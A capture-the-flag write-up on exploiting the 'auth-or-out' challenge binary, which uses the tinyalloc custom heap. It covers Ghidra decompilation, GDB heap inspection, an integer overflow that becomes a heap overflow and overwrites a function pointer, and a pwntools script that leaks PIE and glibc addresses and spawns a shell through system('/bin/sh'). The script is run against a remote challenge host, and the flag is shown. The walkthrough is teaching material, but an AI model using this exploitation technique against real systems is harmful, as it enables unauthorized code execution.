Auth-or-out
14 minutes to read
We have a 64-bit binary called auth-or-out
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
If we execute it, we have a menu for a typical heap exploitation challenge:
$ ./auth-or-out
*** Welcome to DZONERZY authors editor v0.11.2 ***
1 - Add Author
2 - Modify Author
3 - Print Author
4 - Delete Author
5 - Exit
Choice:
Reverse engineering
Let’s use Ghidra to obtain decompiled source code in C. This is main
:
int main() {
_Bool _Var1;
ulonglong option;
long in_FS_OFFSET;
uchar CustomHeap[14336];
undefined auStack24[8];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
setvbuf(stdin, (char *) 0x0,2,0);
setvbuf(stdout, (char *) 0x0,2,0);
memset(CustomHeap, 0, 0x3800);
_Var1 = ta_init(CustomHeap, auStack24, 10, 0x10, 8);
if (_Var1) {
puts("*** Welcome to DZONERZY authors editor v0.11.2 ***");
switchD_00101a4f_caseD_0:
option = print_menu();
switch(option) {
case 1:
add_author();
goto switchD_00101a4f_caseD_0;
case 2:
modify_author();
goto switchD_00101a4f_caseD_0;
case 3:
print_author();
goto switchD_00101a4f_caseD_0;
case 4:
delete_author();
goto switchD_00101a4f_caseD_0;
case 5:
goto switchD_00101a4f_caseD_5;
}
}
LAB_00101a9b:
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
switchD_00101a4f_caseD_5:
puts("bye bye!");
goto LAB_00101a9b;
}
The first thing to notice is that the heap is custom (it is not from Glibc). Actually, there’s a string that shows a hint (actually, a global variable called Hint
):
$ strings -30 auth-or-out
*** Welcome to DZONERZY authors editor v0.11.2 ***
tinyalloc: https://github.com/thi-ng/tinyalloc
GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
/usr/lib/gcc/x86_64-linux-gnu/7/include
/usr/include/x86_64-linux-gnu/bits
GNU C11 7.5.0 -mtune=generic -march=x86-64 -g -fstack-protector-strong
__do_global_dtors_aux_fini_array_entry
__frame_dummy_init_array_entry
__libc_start_main@@GLIBC_2.2.5
So the heap implementation is tinyalloc. For the moment, let’s continue analyzing the rest of the functions:
void add_author() {
PAuthor p_author;
ulonglong number;
char *p_note;
size_t size;
ulonglong i;
ulonglong NoteSize;
i = 0;
while (true) {
if (9 < i) {
puts("MAX AUTHORS REACHED!");
return;
}
if (authors[i] == (PAuthor) 0x0) break;
i = i + 1;
}
p_author = (PAuthor) ta_alloc(0x38);
authors[i] = p_author;
if (authors[i] != (PAuthor)0x0) {
authors[i]->Print = PrintNote;
printf("Name: ");
get_from_user(authors[i]->Name, 0x10);
printf("Surname: ");
get_from_user(authors[i]->Surname, 0x10);
printf("Age: ");
p_author = authors[i];
number = get_number();
p_author->Age = number;
printf("Author Note size: ");
number = get_number();
if (number != 0) {
p_author = authors[i];
p_note = (char *) ta_alloc(number + 1);
p_author->Note = p_note;
if (authors[i]->Note == (char *) 0x0) {
printf("Invalid allocation!");
/* WARNING: Subroutine does not return */
exit(0);
}
printf("Note: ");
if (number < 0x101) {
size = number + 1;
} else {
size = 0x100;
}
get_from_user(authors[i]->Note, size);
}
printf("Author %llu added!\n\n", i + 1);
return;
}
printf("Invalid allocation!");
/* WARNING: Subroutine does not return */
exit(0);
}
There are functions called get_number
and get_from_user
that read data from stdin
. Both functions are correct.
add_author
has some weird things. Notice that the author struct (PAuthor
) requires a chunk of size 0x38
. Moreover, we can indicate if the author has a note or not (using size 0
will tell the program not to store a note).
There’s another vulnerability here, which is an Integer Overflow. Notice that we can enter -1
(0xffffffffffffffff
) into the note size; and in the code, the allocation will be p_note = (char *) ta_alloc(number + 1);
, which will become p_note = (char *) ta_alloc(0);
because of the overflow. Moreover, after that, the if
statement will set size = 0x100
because size
is interpreted as an unsigned integer and we will be able to enter a lot of data on the heap, leading to a Heap Overflow.
This is modify_author
:
void modify_author() {
PAuthor p_author;
ulonglong number;
ulonglong authorid;
do {
printf("Author ID: ");
number = get_number();
putchar(10);
} while (10 < number);
p_author = authors[number - 1];
if (p_author == (PAuthor) 0x0) {
printf("Author %llu does not exists!\n\n", number);
} else {
printf("Name: ");
get_from_user(p_author->Name, 0x10);
printf("Surname: ");
get_from_user(p_author->Surname, 0x11);
printf("Age: ");
number = get_number();
p_author->Age = number;
putchar(10);
}
return;
}
If we look carefully, we see that we are allowed to enter up to 0x11
bytes in p_author->Surname
field (whereas add_author
only allowed us up to 0x10
). This could be an off-by-one byte overflow. However, this won’t be useful at all.
This is print_author
:
void print_author() {
ulonglong number;
ulonglong authorid;
PAuthor p_author;
do {
printf("Author ID: ");
number = get_number();
putchar(10);
} while (10 < number);
p_author = authors[number - 1];
if (p_author == (PAuthor) 0x0) {
printf("Author %llu does not exists!\n\n", number);
} else {
puts("----------------------");
printf("Author %llu\n", number);
printf("Name: %s\n", p_author);
printf("Surname: %s\n", p_author->Surname);
printf("Age: %llu\n", p_author->Age);
(*p_author->Print) (p_author->Note);
puts("-----------------------");
putchar(10);
}
return;
}
One important thing to notice is that p_author->Note
is printed using a function stored in a struct attribute (p_author->Print
). In add_author
, this function is set to PrintNote
:
void PrintNote(char *Note){
printf("Note: [%s]\n", Note);
return;
}
We can start joining the dots and guess that we will need to modify the address of p_author->Print
in order to exploit the binary.
Last but not least, this is delete_author
:
void delete_author() {
ulonglong number;
ulonglong authorid;
PAuthor p_author;
do {
printf("Author ID: ");
number = get_number();
putchar(10);
} while (10 < number);
p_author = authors[number - 1];
if (p_author == (PAuthor) 0x0) {
printf("Author %llu does not exists!\n\n", number);
} else {
ta_free(p_author->Note);
ta_free(p_author);
authors[number - 1] = (PAuthor) 0x0;
printf("Author %llu deleted!\n\n", number);
}
return;
}
The key here is that not only p_author
is freed, but also p_author->Note
is freed.
Debugging with GDB
Let’s take a look at the structs on the heap with GDB, so that we can plan the exploit strategy:
$ gdb -q auth-or-out
Reading symbols from auth-or-out...
gef➤ run
Starting program: ./auth-or-out
*** Welcome to DZONERZY authors editor v0.11.2 ***
1 - Add Author
2 - Modify Author
3 - Print Author
4 - Delete Author
5 - Exit
Choice: 1
Name: AAAA
Surname: BBBB
Age: 255
Author Note size: 24
Note: CCCC
Author 1 added!
1 - Add Author
2 - Modify Author
3 - Print Author
4 - Delete Author
5 - Exit
Choice: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ecafd2 in __GI___libc_read (fd=0x0, buf=0x7ffff7fa9a03 <_IO_2_1_stdin_+131>, nbytes=0x1) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
gef➤ p authors
$1 = {0x7fffffffaf60, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
gef➤ x/20gx 0x7fffffffaf60
0x7fffffffaf60: 0x0000000041414141 0x0000000000000000
0x7fffffffaf70: 0x0000000042424242 0x0000000000000000
0x7fffffffaf80: 0x00007fffffffaf98 0x00000000000000ff
0x7fffffffaf90: 0x0000555555401219 0x0000000043434343
0x7fffffffafa0: 0x0000000000000000 0x0000000000000000
0x7fffffffafb0: 0x0000000000000000 0x0000000000000000
0x7fffffffafc0: 0x0000000000000000 0x0000000000000000
0x7fffffffafd0: 0x0000000000000000 0x0000000000000000
0x7fffffffafe0: 0x0000000000000000 0x0000000000000000
0x7fffffffaff0: 0x0000000000000000 0x0000000000000000
gef➤ x 0x0000555555401219
0x555555401219 <PrintNote>: 0x10ec8348e5894855
So, we have:
p_author->Name
at0x7fffffffaf60
p_author->Surname
at0x7fffffffaf70
p_author->Note
is a pointer to0x00007fffffffaf98
p_author->Age
is at0x00007fffffffaf88
p_author->Print
is a pointer to0x0000555555401219
(PrintNote
)
Exploitation
Since the heap implementation is custom, we will need to leak Glibc using puts
and the Global Offset Table (GOT), where the addresses of external functions get stored after resolution. And since the binary has PIE protection enabled, we will need first to leak an address from the binary. All of this is to bypass ASLR.
The bug in modify_author
will enable us to leak the pointer p_author->Note
. But this is just a stack pointer, it is useless for exploitation.
The idea is to leak the address at p_author->Print
(which is PrintNote
) in order to bypass PIE. The way to do this is to allocate two authors without p_author->Note
:
$ gdb -q auth-or-out
Reading symbols from auth-or-out...
gef➤ run
Starting program: ./auth-or-out
*** Welcome to DZONERZY authors editor v0.11.2 ***
1 - Add Author
2 - Modify Author
3 - Print Author
4 - Delete Author
5 - Exit
Choice: 1
Name: AAAA
Surname: BBBB
Age: 1
Author Note size: 0
Author 1 added!
1 - Add Author
2 - Modify Author
3 - Print Author
4 - Delete Author
5 - Exit
Choice: 1
Name: CCCC
Surname: DDDD
Age: 2
Author Note size: 0
Author 2 added!
1 - Add Author
2 - Modify Author
3 - Print Author
4 - Delete Author
5 - Exit
Choice: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ecafd2 in __GI___libc_read (fd=0x0, buf=0x7ffff7fa9a03 <_IO_2_1_stdin_+131>, nbytes=0x1) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
gef➤ p authors
$1 = {0x7fffffffaf60, 0x7fffffffaf98, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
gef➤ x/20gx 0x7fffffffaf60
0x7fffffffaf60: 0x0000000041414141 0x0000000000000000
0x7fffffffaf70: 0x0000000042424242 0x0000000000000000
0x7fffffffaf80: 0x0000000000000000 0x0000000000000001
0x7fffffffaf90: 0x0000555555401219 0x0000000043434343
0x7fffffffafa0: 0x0000000000000000 0x0000000044444444
0x7fffffffafb0: 0x0000000000000000 0x0000000000000000
0x7fffffffafc0: 0x0000000000000002 0x0000555555401219
0x7fffffffafd0: 0x0000000000000000 0x0000000000000000
0x7fffffffafe0: 0x0000000000000000 0x0000000000000000
0x7fffffffaff0: 0x0000000000000000 0x0000000000000000
Now we are going to delete both authors, so the chunks are free to use again later:
gef➤ continue
Continuing.
4
Author ID: 1
Author 1 deleted!
1 - Add Author
2 - Modify Author
3 - Print Author
4 - Delete Author
5 - Exit
Choice: 4
Author ID: 2
Author 2 deleted!
1 - Add Author
2 - Modify Author
3 - Print Author
4 - Delete Author
5 - Exit
Choice: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ecafd2 in __GI___libc_read (fd=0x0, buf=0x7ffff7fa9a03 <_IO_2_1_stdin_+131>, nbytes=0x1) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
gef➤ x/20gx 0x7fffffffaf60
0x7fffffffaf60: 0x0000000041414141 0x0000000000000000
0x7fffffffaf70: 0x0000000042424242 0x0000000000000000
0x7fffffffaf80: 0x0000000000000000 0x0000000000000001
0x7fffffffaf90: 0x0000555555401219 0x0000000043434343
0x7fffffffafa0: 0x0000000000000000 0x0000000044444444
0x7fffffffafb0: 0x0000000000000000 0x0000000000000000
0x7fffffffafc0: 0x0000000000000002 0x0000555555401219
0x7fffffffafd0: 0x0000000000000000 0x0000000000000000
0x7fffffffafe0: 0x0000000000000000 0x0000000000000000
0x7fffffffaff0: 0x0000000000000000 0x0000000000000000
And the authors data is still there. Now, when we allocate another author, it will be placed in one of the freed chunks, and moreover, we can set p_author->Note
to have a size of 0x38
(we will need to use size 55
because of p_note = (char *) ta_alloc(number + 1);
). As a result, p_author->Note
will be stored in the remaining freed chunk, and we can fill the note until we reach the pointer of PrintNote
, so that we can leak it using print_author
:
gef➤ continue
Continuing.
1
Name: XX
Surname: YY
Age: 3
Author Note size: 55
Note: ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
Author 1 added!
1 - Add Author
2 - Modify Author
3 - Print Author
4 - Delete Author
5 - Exit
Choice: 3
Author ID: 1
----------------------
Author 1
Name: XXAA
Surname: YYBB
Age: 3
Note: [ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ@UUU]
-----------------------
1 - Add Author
2 - Modify Author
3 - Print Author
4 - Delete Author
5 - Exit
Choice: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ecafd2 in __GI___libc_read (fd=0x0, buf=0x7ffff7fa9a03 <_IO_2_1_stdin_+131>, nbytes=0x1) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
gef➤ x/20gx 0x7fffffffaf60
0x7fffffffaf60: 0x0000000041415858 0x0000000000000000
0x7fffffffaf70: 0x0000000042425959 0x0000000000000000
0x7fffffffaf80: 0x00007fffffffaf98 0x0000000000000003
0x7fffffffaf90: 0x0000555555401219 0x5a5a5a5a5a5a5a5a
0x7fffffffafa0: 0x5a5a5a5a5a5a5a5a 0x5a5a5a5a5a5a5a5a
0x7fffffffafb0: 0x5a5a5a5a5a5a5a5a 0x5a5a5a5a5a5a5a5a
0x7fffffffafc0: 0x5a5a5a5a5a5a5a5a 0x0000555555401219
0x7fffffffafd0: 0x0000000000000000 0x0000000000000000
0x7fffffffafe0: 0x0000000000000000 0x0000000000000000
0x7fffffffaff0: 0x0000000000000000 0x0000000000000000
There it is, we know how to leak PrintNote
and thus we can bypass PIE.
Now let’s take a look at the Integer Overflow vulnerability that leads to Heap Overflow. We need to allocate another author (the victim), delete the first one and then allocate another one using the Integer Overflow
gef➤ continue
Continuing.
1
Name: EEEE
Surname: FFFF
Age: 4
Author Note size: 0
Author 2 added!
1 - Add Author
2 - Modify Author
3 - Print Author
4 - Delete Author
5 - Exit
Choice: 4
Author ID: 1
Author 1 deleted!
1 - Add Author
2 - Modify Author
3 - Print Author
4 - Delete Author
5 - Exit
Choice: 1
Name: GGGG
Surname: IIII
Age: 5
Author Note size: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ecafd2 in __GI___libc_read (fd=0x0, buf=0x7ffff7fa9a03 <_IO_2_1_stdin_+131>, nbytes=0x1) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
This is the state of the heap before the Integer Overflow:
gef➤ x/30gx 0x7fffffffaf60
0x7fffffffaf60: 0x0000000047474747 0x0000000000000000
0x7fffffffaf70: 0x0000000049494949 0x0000000000000000
0x7fffffffaf80: 0x00007fffffffaf98 0x0000000000000005
0x7fffffffaf90: 0x0000555555401219 0x5a5a5a5a5a5a5a5a
0x7fffffffafa0: 0x5a5a5a5a5a5a5a5a 0x5a5a5a5a5a5a5a5a
0x7fffffffafb0: 0x5a5a5a5a5a5a5a5a 0x5a5a5a5a5a5a5a5a
0x7fffffffafc0: 0x5a5a5a5a5a5a5a5a 0x0000555555401219
0x7fffffffafd0: 0x0000000045454545 0x0000000000000000
0x7fffffffafe0: 0x0000000046464646 0x0000000000000000
0x7fffffffaff0: 0x0000000000000000 0x0000000000000004
0x7fffffffb000: 0x0000555555401219 0x0000000000000000
0x7fffffffb010: 0x0000000000000000 0x0000000000000000
0x7fffffffb020: 0x0000000000000000 0x0000000000000000
0x7fffffffb030: 0x0000000000000000 0x0000000000000000
0x7fffffffb040: 0x0000000000000000 0x0000000000000000
Let’s use a pattern to analyze the overflow:
gef➤ pattern create 200
[+] Generating a pattern of 200 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
[+] Saved as '$_gef0'
And now we need to enter -1
as the size of p_author->Note
and place the pattern. Then, we can use print_author
to trigger the Heap Overflow:
gef➤ continue
Continuing.
-1
Note: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaa
taaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
Author 1 added!
1 - Add Author
2 - Modify Author
3 - Print Author
4 - Delete Author
5 - Exit
Choice: 3
Author ID: 2
----------------------
Author 2
Name: haaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
Surname: jaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
Age: 7016996765293437293
Program received signal SIGSEGV, Segmentation fault.
0x000055555540176b in print_author () at chall.c:385
385 chall.c: No such file or directory.
We get a segmentation fault, as expected. The instruction that crashed is call rax
so let’s see what is in $rax
:
gef➤ x/i $rip
=> 0x55555540176b <print_author+241>: call rax
gef➤ p/x $rax
$2 = 0x616161616161616e
gef➤ pattern offset $rax
[+] Searching for '$rax'
[+] Found at offset 104 (little-endian search) likely
[+] Found at offset 97 (big-endian search)
So we need 104 bytes to reach p_author->Print
. Moreover, we have also control over $rdi
:
gef➤ p/x $rdi
$3 = 0x616161616161616c
gef➤ pattern offset $rdi
[+] Searching for '$rdi'
[+] Found at offset 88 (little-endian search) likely
[+] Found at offset 81 (big-endian search)
So we can use this to control the first argument when calling another function.
Let’s join everything together and leak Glibc using this Python code:
def main():
p = get_process()
add_author(p, b'AAAA', b'BBBB', 1)
add_author(p, b'CCCC', b'DDDD', 2)
delete_author(p, 1)
delete_author(p, 2)
add_author(p, b'XX', b'YY', 3, 0x37, b'Z' * 0x30)
note = print_author(p, 1).splitlines()[4]
print_note_addr = u64(note.split(b'Z' * 0x30)[1].strip(b']').ljust(8, b'\0'))
elf.address = print_note_addr - elf.sym.PrintNote
log.info(f'Leaked PrintNote() address: {hex(print_note_addr)}')
log.info(f'ELF base address: {hex(elf.address)}')
leaked_function = 'printf'
payload = cyclic(88)
payload += p64(elf.got[leaked_function])
payload += cyclic(8)
payload += p64(elf.plt.puts)
add_author(p, b'EEEE', b'FFFF', 4)
delete_author(p, 1)
add_author(p, b'GGGG', b'HHHH', 5, -1, payload)
p.sendlineafter(b'Choice: ', b'3')
p.sendlineafter(b'Author ID: ', b'2')
p.recvuntil(b'Age: ')
p.recvline()
leaked_function_addr = u64(p.recvline().strip().ljust(8, b'\0'))
glibc.address = leaked_function_addr - glibc.sym[leaked_function]
log.info(f'Leaked {leaked_function}() address: {hex(leaked_function_addr)}')
log.info(f'Glibc base address: {hex(glibc.address)}')
p.interactive()
We are overflowing p_author->Print
so that it points to puts
. And $rdi
has the address of a function at the GOT, so that we can leak the address of a function inside Glibc at runtime in order to bypass ASLR:
$ python3 solve.py
[*] './auth-or-out'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './auth-or-out': pid 1489566
[*] Leaked PrintNote() address: 0x55767ec01219
[*] ELF base address: 0x55767ec00000
[*] Leaked printf() address: 0x7f9bd0c3ac90
[*] Glibc base address: 0x7f9bd0bd9000
[*] Switching to interactive mode
-----------------------
1 - Add Author
2 - Modify Author
3 - Print Author
4 - Delete Author
5 - Exit
Choice: $
Alright, everything looks correct (as a sanity check, we must verify that the base addresses end with 000
in hexadecimal).
Next is to cause the overflow again and set p_author->Print
to be system
and enter the address of "/bin/sh"
inside $rdi
:
payload = cyclic(88)
payload += p64(next(glibc.search(b'/bin/sh')))
payload += cyclic(8)
payload += p64(glibc.sym.system)
delete_author(p, 1)
add_author(p, b'IIII', b'JJJJ', 6, -1, payload)
p.sendlineafter(b'Choice: ', b'3')
p.sendlineafter(b'Author ID: ', b'2')
p.recv()
p.interactive()
if __name__ == '__main__':
main()
And we have a shell locally:
$ python3 solve.py
[*] './auth-or-out'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './auth-or-out': pid 1491803
[*] Leaked PrintNote() address: 0x557f44a01219
[*] ELF base address: 0x557f44a00000
[*] Leaked printf() address: 0x7f537e8e8c90
[*] Glibc base address: 0x7f537e887000
[*] Switching to interactive mode
$ ls
auth-or-out solve.py
$
Now we need to run it remotely and find the correct Glibc version:
$ python3 solve.py 206.189.117.48:31645
[*] './auth-or-out'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 206.189.117.48 on port 31645: Done
[*] Leaked PrintNote() address: 0x561688401219
[*] ELF base address: 0x561688400000
[*] Leaked printf() address: 0x7f45d272af70
[*] Glibc base address: 0x7f45d26c92e0
[*] Switching to interactive mode
Author 2
Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d؇\xd2E\x7f
Surname: AAAAAAAAAAAAAAAA\x9d؇\xd2E\x7f
Age: 4702111234474983745
[*] Got EOF while reading in interactive
$
Obviously, the exploit crashes. Let’s get a leak for puts
as well:
$ python3 solve.py 206.189.117.48:31645
[*] './auth-or-out'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 206.189.117.48 on port 31645: Done
[*] Leaked PrintNote() address: 0x5650fa601219
[*] ELF base address: 0x5650fa600000
[*] Leaked puts() address: 0x7fe4d0c15aa0
[*] Glibc base address: 0x7fe4d0b91680
[*] Switching to interactive mode
Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\\xd4\xd0\xe4
Surname: AAAAAAAAAAAAAAAA=\\xd4\xd0\xe4
Age: 4702111234474983745
[*] Got EOF while reading in interactive
$
Flag
Now we can go to libc.rip and find a matching version of Glibc with these offsets for printf
and puts
:
Now we can download that Glibc version, set it in the pwntools
Python script and run the exploit remotely:
$ python3 solve.py 206.189.117.48:31645
[*] './auth-or-out'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 206.189.117.48 on port 31645: Done
[*] Leaked PrintNote() address: 0x5616e2801219
[*] ELF base address: 0x5616e2800000
[*] Leaked puts() address: 0x7ff3682a3aa0
[*] Glibc base address: 0x7ff368223000
[*] Switching to interactive mode
$ ls
auth-or-out flag.txt
$ cat flag.txt
HTB{expl01ting_cust0m_h3ap_4_fun_3_pr0f1t}
The full exploit code is here: solve.py
.